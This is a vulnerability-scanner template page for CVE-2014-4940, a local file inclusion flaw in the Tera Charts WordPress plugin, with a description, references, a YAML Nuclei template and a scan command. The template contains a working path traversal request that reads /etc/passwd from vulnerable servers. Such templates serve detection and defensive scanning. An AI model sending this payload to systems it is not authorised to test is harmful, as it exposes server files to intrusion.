WordPress Plugin Tera Charts - Local File Inclusion

ID: CVE-2014-4940

Severity: medium

Author: daffainfo

Tags: cve2014,cve,wordpress,wp-plugin,lfi,tera_charts_plugin_project

Description

Multiple local file inclusion vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php.

YAML Source

id: CVE-2014-4940

info:
  name: WordPress Plugin Tera Charts - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Multiple local file inclusion vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Update to the latest version of the Tera Charts plugin to fix the local file inclusion vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4940
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=851874%40tera-charts&old=799253%40tera-charts&sfp_email=&sfph_mail=
    - http://codevigilant.com/disclosure/wp-plugin-tera-chart-local-file-inclusion/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-4940
    cwe-id: CWE-22
    epss-score: 0.05292
    epss-percentile: 0.93046
    cpe: cpe:2.3:a:tera_charts_plugin_project:tera-charts:0.1:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: tera_charts_plugin_project
    product: tera-charts
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/tera-charts"
  tags: cve2014,cve,wordpress,wp-plugin,lfi,tera_charts_plugin_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100819e1f6667e6d22be03725c13e2fe1f0cd93b762b42641e27cbf1f8d719959c702203df848bcadb0467de07140ebd9b3930fced6e427470052c4a2cc3ac21268c99b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-4940.yaml"

View on Github